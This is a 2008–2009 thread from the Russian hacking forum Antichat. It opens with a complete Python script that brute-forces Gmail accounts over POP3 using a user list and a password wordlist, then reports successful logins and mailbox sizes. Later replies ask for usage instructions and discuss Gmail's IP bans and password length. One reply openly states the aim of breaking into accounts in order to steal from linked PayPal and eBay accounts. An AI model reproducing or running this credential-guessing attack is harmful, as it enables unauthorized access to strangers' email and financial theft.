ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   Уязвимости Mail-сервис (https://forum.antichat.io/forumdisplay.php?f=14)
-   -   GMail Brute Force (https://forum.antichat.io/showthread.php?t=67017)

Nexid 11.04.2008 12:28

GMail Brute Force
 
Собственно,я давно искал подобный скрипт для Gmail и нашел наконец.Сам еще не тестил.

Python Script

PHP код:

#!usr/bin/python 

#Gmail Pop3 Brute Forcer 

#http://darkcode.ath.cx 
#d3hydr8[at]gmail[dot]com 

import threading, time, random, sys, poplib 
from copy import copy 

if len(sys.argv) !=3: 
    print 
"\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0" 
    
print "\t   --------------------------------------------------\n" 
    
print "\t    Usage: ./gmailpopbrute.py <userlist> <wordlist>\n" 
    
sys.exit(1) 
    
server = "pop.gmail.com" 
success = [] 

try: 
      
users = open(sys.argv[1], "r").readlines() 
except(IOError): 
      print 
"[-] Error: Check your userlist path\n" 
      
sys.exit(1) 
  
try: 
      
words = open(sys.argv[2], "r").readlines() 
except(IOError): 
      print 
"[-] Error: Check your wordlist path\n" 
      
sys.exit(1) 
    
try: 
    
pop = poplib.POP3_SSL(server, 995) 
    
welcome = pop.getwelcome() 
    
pop.quit() 
except (poplib.error_proto): 
    
welcome = "No Response" 
    
pass 

print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0" 
print "\t   --------------------------------------------------\n" 
print "[+] Server:",server 
print "[+] Port: 995" 
print "[+] Users Loaded:",len(users) 
print 
"[+] Words Loaded:",len(words) 
print 
"[+] Server response:",welcome,"\n" 

wordlist = copy(words) 

def reloader(): 
    for 
word in wordlist: 
        
words.append(word) 

def getword(): 
    
lock = threading.Lock() 
    
lock.acquire() 
    if 
len(words) != 0: 
        
value = random.sample(words,  1) 
        
words.remove(value[0])    
    else: 
        print 
"\n[-] Reloading Wordlist - Changing User\n" 
        
reloader() 
        
value = random.sample(words,  1) 
        
users.remove(users[0]) 
        
    
lock.release() 
    if 
len(users) ==1: 
        return 
value[0][:-1], users[0] 
    else: 
        return 
value[0][:-1], users[0][:-1] 
        
class 
Worker(threading.Thread): 
    
    
def run(self): 
        
value, user = getword() 
        
        try: 
            print 
"-"*30 
            
print "[+] User:",user,"Password:",value 
            pop 
= poplib.POP3_SSL(server, 995) 
            
pop.user(user) 
            
pop.pass_(value) 
            print 
"\t\t\n\nLogin successful:",user, value 
            
print "\t\tMail:",pop.stat()[0],"emails" 
            
print "\t\tSize:",pop.stat()[1],"bytes\n\n" 
            
success.append(user) 
            
success.append(value) 
            
success.append(pop.stat()[0]) 
            
success.append(pop.stat()[1]) 
            
pop.quit() 
        
except (poplib.error_proto), msg: 
            
#print "An error occurred:", msg 
            
pass 

for i in range(len(words)*len(users)): 
    
work = Worker() 
    
work.start() 
    
time.sleep(1) 
if 
len(success) >=1: 
    print 
"\n\n[+] Login successful:",success[0], success[1] 
    print 
"\t[+] Mail:",success[2],"emails" 
    
print "\t[+] Size:",success[3],"bytes\n" 
print "\n[-] Done\n" 


NetSter 11.04.2008 14:58

как протестиш дай знать)

Elvis000 12.04.2008 14:07

Прежде чем постить интересные вещи, наверное, сначала их нужно поискать на форуме, не так ли? https://forum.antichat.ru/thread54470.html

kung lao 22.04.2008 00:28

это для брута гмаил.ком или .ру ? и как она вообще работает? может инструкции кто нить напишет?

Elvis000 22.04.2008 02:03

Цитата:

Сообщение от kung lao
это для брута гмаил.ком или .ру ? и как она вообще работает? может инструкции кто нить напишет?

gmail.com

genadiez 21.01.2009 13:18

У gmail стоит функция бана по IP, при частом обращении по протоколу POP.
(как раз который использует скрипт)

MaTpOc 27.01.2009 16:45

имхо безполезно, там мин 8 знаков!

mrTUZ 27.01.2009 21:16

Ну так что? Брут актуальный? Если да, то дайде знать.

F1shka 01.02.2009 11:59

Цитата:

Сообщение от MaTpOc
имхо безполезно, там мин 8 знаков!

12345678
Как вариант
:D

Grinya11 14.02.2009 03:00

Не гмайла непускает много запросов через попу как и многин МАЙЛЫ щас... Думаю тема неактуальная! Хотя хотелось бы добраться до рабочего скрипта который воркает через хттп авторизацию.... ГМАЙЛ ЛЮДИ там буржуев море!!!>>> БУРЖУИ = (PAYPAL, ONLINE POKER (с лаве), SKYPE, EBAY, MYSPACE, itd) ТАМ можно в реале бы подпиздить че! Ладноу спасибоу


Время: 01:08